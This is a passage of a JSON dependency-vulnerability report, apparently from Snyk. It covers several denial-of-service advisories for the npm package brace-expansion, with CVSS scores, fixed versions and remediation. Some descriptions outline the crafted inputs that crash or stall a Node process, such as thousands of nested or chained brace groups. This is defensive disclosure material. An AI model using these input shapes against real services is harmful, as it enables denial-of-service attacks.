"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
